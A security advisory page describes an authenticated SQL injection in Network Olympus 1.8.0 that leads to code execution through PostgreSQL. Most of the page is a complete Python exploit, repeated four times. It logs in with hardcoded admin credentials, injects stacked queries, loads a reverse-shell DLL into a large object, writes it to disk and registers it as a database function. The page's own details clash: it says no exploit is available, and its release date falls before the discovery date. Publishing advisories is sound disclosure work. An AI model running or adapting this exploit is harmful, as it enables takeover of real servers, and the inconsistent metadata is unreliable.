Network Olympus 1.8.0 - SQL Injection
9.1
Critical
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Network Olympus 1.8.0 - SQL Injection
Code name
State
Public
Release date
Feb 7, 2022
Affected product
Network Olympus
Affected version(s)
Version 1.8.0
Vulnerability name
SQL injection
Vulnerability type
Remotely exploitable
Yes
CVSS v3.1 vector string
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSS v3.1 base score
9.1
Exploit available
No
CVE ID(s)
Description
Network Olympus version 1.8.0 allows an authenticated admin user to inject SQL queries in /api/eventinstance via the sqlparameter. It is also possible to achieve remote code execution in the default installation (PostgreSQL) by exploiting this issue.
Proof of Concept
Steps to reproduce
Log in to Network Olympus.
The application send a request to
/api/eventinstancewith a json as parameter in the url, the json parametersqlparameterallows to inject sql queries. It can be exploited using boolean based sql or stacked queries.The following PoC can be used to make the database sleep for 2 seconds.
To achieve command execution it is possible to create a malicious DLL and then load it in postgresql.
Create a malicious postgres DLL extension.
Create a copy of the exploit found in the following session and copy the generated DLL to the same folder and rename it to
rev_shell.dll.
System Information
Version: Network Olympus 1.8.0 (Trial Version).
Operating System: Windows 10.
Database and version: PostgreSQL 10.8, compiled by Visual C++ build 1800, 32-bit.
Exploit
import requests,sys, urllib, string, random, time, binascii requests.packages.urllib3.disable_warnings() # encoded UDF rev_shell dll def read_udf(filename='rev_shell.dll'): f = open(filename, 'rb') content = f.read() return binascii.hexlify(content) udf = read_udf() def login(): url = "http://172.16.28.140:3000/api/signIn" # CHANGE THIS json = {"password": "j84sTuh8pmLb2YhVTChcmg==", "username": "admin"} s = requests.session() s.post(url, json=json) return s def log(msg): print(msg) def make_request(url, sql,s): json_query = """{"pagenumber":1,"itemsperpage":100,"order":"asc","sqlparameter":[],"sqlstring":\"""" sqli = "1=1; %s --" % sql sqli = sqli.replace(" ","%2f%2a%2a%2f") sqli = json_query + sqli + "\"}" log("[*] Executing query: %s" % sql[0:80]) proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} r = s.get(url+sqli, verify=False, proxies=proxies) return r def delete_lo(url, loid,s): log("[+] Deleting existing LO...") sql = "SELECT lo_unlink(%d)" % loid make_request(url, sql, s) def create_lo(url, loid,s): log("[+] Creating LO for UDF injection...") sql = "SELECT lo_import('C:\\\\windows\\\\win.ini',%d)" % loid make_request(url, sql, s) def inject_udf(url, loid,s): log("[+] Injecting payload of length %d into LO..." % len(udf)) size = 2048 * 2 for i in range(0,((len(udf)-1)/size)+1): udf_chunk = udf[i*size:(i+1)*size] if i == 0: sql = "UPDATE PG_LARGEOBJECT SET data=decode('%s', 'hex') where loid=%d and pageno=%d" % (udf_chunk, loid, i) else: sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode('%s', 'hex'))" % (loid, i, udf_chunk) make_request(url, sql,s) def export_udf(url, loid,s): log("[+] Exporting UDF library to filesystem...") sql = "SELECT lo_export(%d, 'C:\\\\Users\\\\Public\\\\rev_shell.dll')" % loid make_request(url, sql,s) def create_udf_func(url,s): log("[+] Creating function...") #sql = "create or replace function rev_shell(text, integer) returns VOID as 'C:\\Users\\Public\\rev_shell.dll', 'connect_back' language C strict" sql = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS 'C:\\\\Users\\\\Public\\\\rev_shell.dll', 'dummy_function' LANGUAGE C STRICT;" make_request(url, sql,s) if __name__ == '__main__': try: server = sys.argv[1].strip() port = sys.argv[2].strip() except IndexError: print("[-] Usage: %s serverIP:port " % sys.argv[0]) sys.exit() sqli_url = "http://%s:%s/api/eventinstance/" % (server,port) loid = 1337 print("[*] Authenticated SQL Injection to RCE") print("[*] Network Olympus 1.8.0 ") print s = login() delete_lo(sqli_url, loid,s) create_lo(sqli_url, loid,s) inject_udf(sqli_url, loid,s) export_udf(sqli_url, loid,s) create_udf_func(sqli_url,s)
import requests,sys, urllib, string, random, time, binascii requests.packages.urllib3.disable_warnings() # encoded UDF rev_shell dll def read_udf(filename='rev_shell.dll'): f = open(filename, 'rb') content = f.read() return binascii.hexlify(content) udf = read_udf() def login(): url = "http://172.16.28.140:3000/api/signIn" # CHANGE THIS json = {"password": "j84sTuh8pmLb2YhVTChcmg==", "username": "admin"} s = requests.session() s.post(url, json=json) return s def log(msg): print(msg) def make_request(url, sql,s): json_query = """{"pagenumber":1,"itemsperpage":100,"order":"asc","sqlparameter":[],"sqlstring":\"""" sqli = "1=1; %s --" % sql sqli = sqli.replace(" ","%2f%2a%2a%2f") sqli = json_query + sqli + "\"}" log("[*] Executing query: %s" % sql[0:80]) proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} r = s.get(url+sqli, verify=False, proxies=proxies) return r def delete_lo(url, loid,s): log("[+] Deleting existing LO...") sql = "SELECT lo_unlink(%d)" % loid make_request(url, sql, s) def create_lo(url, loid,s): log("[+] Creating LO for UDF injection...") sql = "SELECT lo_import('C:\\\\windows\\\\win.ini',%d)" % loid make_request(url, sql, s) def inject_udf(url, loid,s): log("[+] Injecting payload of length %d into LO..." % len(udf)) size = 2048 * 2 for i in range(0,((len(udf)-1)/size)+1): udf_chunk = udf[i*size:(i+1)*size] if i == 0: sql = "UPDATE PG_LARGEOBJECT SET data=decode('%s', 'hex') where loid=%d and pageno=%d" % (udf_chunk, loid, i) else: sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode('%s', 'hex'))" % (loid, i, udf_chunk) make_request(url, sql,s) def export_udf(url, loid,s): log("[+] Exporting UDF library to filesystem...") sql = "SELECT lo_export(%d, 'C:\\\\Users\\\\Public\\\\rev_shell.dll')" % loid make_request(url, sql,s) def create_udf_func(url,s): log("[+] Creating function...") #sql = "create or replace function rev_shell(text, integer) returns VOID as 'C:\\Users\\Public\\rev_shell.dll', 'connect_back' language C strict" sql = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS 'C:\\\\Users\\\\Public\\\\rev_shell.dll', 'dummy_function' LANGUAGE C STRICT;" make_request(url, sql,s) if __name__ == '__main__': try: server = sys.argv[1].strip() port = sys.argv[2].strip() except IndexError: print("[-] Usage: %s serverIP:port " % sys.argv[0]) sys.exit() sqli_url = "http://%s:%s/api/eventinstance/" % (server,port) loid = 1337 print("[*] Authenticated SQL Injection to RCE") print("[*] Network Olympus 1.8.0 ") print s = login() delete_lo(sqli_url, loid,s) create_lo(sqli_url, loid,s) inject_udf(sqli_url, loid,s) export_udf(sqli_url, loid,s) create_udf_func(sqli_url,s)
import requests,sys, urllib, string, random, time, binascii requests.packages.urllib3.disable_warnings() # encoded UDF rev_shell dll def read_udf(filename='rev_shell.dll'): f = open(filename, 'rb') content = f.read() return binascii.hexlify(content) udf = read_udf() def login(): url = "http://172.16.28.140:3000/api/signIn" # CHANGE THIS json = {"password": "j84sTuh8pmLb2YhVTChcmg==", "username": "admin"} s = requests.session() s.post(url, json=json) return s def log(msg): print(msg) def make_request(url, sql,s): json_query = """{"pagenumber":1,"itemsperpage":100,"order":"asc","sqlparameter":[],"sqlstring":\"""" sqli = "1=1; %s --" % sql sqli = sqli.replace(" ","%2f%2a%2a%2f") sqli = json_query + sqli + "\"}" log("[*] Executing query: %s" % sql[0:80]) proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} r = s.get(url+sqli, verify=False, proxies=proxies) return r def delete_lo(url, loid,s): log("[+] Deleting existing LO...") sql = "SELECT lo_unlink(%d)" % loid make_request(url, sql, s) def create_lo(url, loid,s): log("[+] Creating LO for UDF injection...") sql = "SELECT lo_import('C:\\\\windows\\\\win.ini',%d)" % loid make_request(url, sql, s) def inject_udf(url, loid,s): log("[+] Injecting payload of length %d into LO..." % len(udf)) size = 2048 * 2 for i in range(0,((len(udf)-1)/size)+1): udf_chunk = udf[i*size:(i+1)*size] if i == 0: sql = "UPDATE PG_LARGEOBJECT SET data=decode('%s', 'hex') where loid=%d and pageno=%d" % (udf_chunk, loid, i) else: sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode('%s', 'hex'))" % (loid, i, udf_chunk) make_request(url, sql,s) def export_udf(url, loid,s): log("[+] Exporting UDF library to filesystem...") sql = "SELECT lo_export(%d, 'C:\\\\Users\\\\Public\\\\rev_shell.dll')" % loid make_request(url, sql,s) def create_udf_func(url,s): log("[+] Creating function...") #sql = "create or replace function rev_shell(text, integer) returns VOID as 'C:\\Users\\Public\\rev_shell.dll', 'connect_back' language C strict" sql = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS 'C:\\\\Users\\\\Public\\\\rev_shell.dll', 'dummy_function' LANGUAGE C STRICT;" make_request(url, sql,s) if __name__ == '__main__': try: server = sys.argv[1].strip() port = sys.argv[2].strip() except IndexError: print("[-] Usage: %s serverIP:port " % sys.argv[0]) sys.exit() sqli_url = "http://%s:%s/api/eventinstance/" % (server,port) loid = 1337 print("[*] Authenticated SQL Injection to RCE") print("[*] Network Olympus 1.8.0 ") print s = login() delete_lo(sqli_url, loid,s) create_lo(sqli_url, loid,s) inject_udf(sqli_url, loid,s) export_udf(sqli_url, loid,s) create_udf_func(sqli_url,s)
import requests,sys, urllib, string, random, time, binascii requests.packages.urllib3.disable_warnings() # encoded UDF rev_shell dll def read_udf(filename='rev_shell.dll'): f = open(filename, 'rb') content = f.read() return binascii.hexlify(content) udf = read_udf() def login(): url = "http://172.16.28.140:3000/api/signIn" # CHANGE THIS json = {"password": "j84sTuh8pmLb2YhVTChcmg==", "username": "admin"} s = requests.session() s.post(url, json=json) return s def log(msg): print(msg) def make_request(url, sql,s): json_query = """{"pagenumber":1,"itemsperpage":100,"order":"asc","sqlparameter":[],"sqlstring":\"""" sqli = "1=1; %s --" % sql sqli = sqli.replace(" ","%2f%2a%2a%2f") sqli = json_query + sqli + "\"}" log("[*] Executing query: %s" % sql[0:80]) proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} r = s.get(url+sqli, verify=False, proxies=proxies) return r def delete_lo(url, loid,s): log("[+] Deleting existing LO...") sql = "SELECT lo_unlink(%d)" % loid make_request(url, sql, s) def create_lo(url, loid,s): log("[+] Creating LO for UDF injection...") sql = "SELECT lo_import('C:\\\\windows\\\\win.ini',%d)" % loid make_request(url, sql, s) def inject_udf(url, loid,s): log("[+] Injecting payload of length %d into LO..." % len(udf)) size = 2048 * 2 for i in range(0,((len(udf)-1)/size)+1): udf_chunk = udf[i*size:(i+1)*size] if i == 0: sql = "UPDATE PG_LARGEOBJECT SET data=decode('%s', 'hex') where loid=%d and pageno=%d" % (udf_chunk, loid, i) else: sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode('%s', 'hex'))" % (loid, i, udf_chunk) make_request(url, sql,s) def export_udf(url, loid,s): log("[+] Exporting UDF library to filesystem...") sql = "SELECT lo_export(%d, 'C:\\\\Users\\\\Public\\\\rev_shell.dll')" % loid make_request(url, sql,s) def create_udf_func(url,s): log("[+] Creating function...") #sql = "create or replace function rev_shell(text, integer) returns VOID as 'C:\\Users\\Public\\rev_shell.dll', 'connect_back' language C strict" sql = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS 'C:\\\\Users\\\\Public\\\\rev_shell.dll', 'dummy_function' LANGUAGE C STRICT;" make_request(url, sql,s) if __name__ == '__main__': try: server = sys.argv[1].strip() port = sys.argv[2].strip() except IndexError: print("[-] Usage: %s serverIP:port " % sys.argv[0]) sys.exit() sqli_url = "http://%s:%s/api/eventinstance/" % (server,port) loid = 1337 print("[*] Authenticated SQL Injection to RCE") print("[*] Network Olympus 1.8.0 ") print s = login() delete_lo(sqli_url, loid,s) create_lo(sqli_url, loid,s) inject_udf(sqli_url, loid,s) export_udf(sqli_url, loid,s) create_udf_func(sqli_url,s)
Mitigation
By 2022-03-07 there is not a patch resolving the issue.
References
Timeline
Feb 22, 2022
Vulnerability discovered
Feb 23, 2022
Vendor contacted
Mar 7, 2022
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.





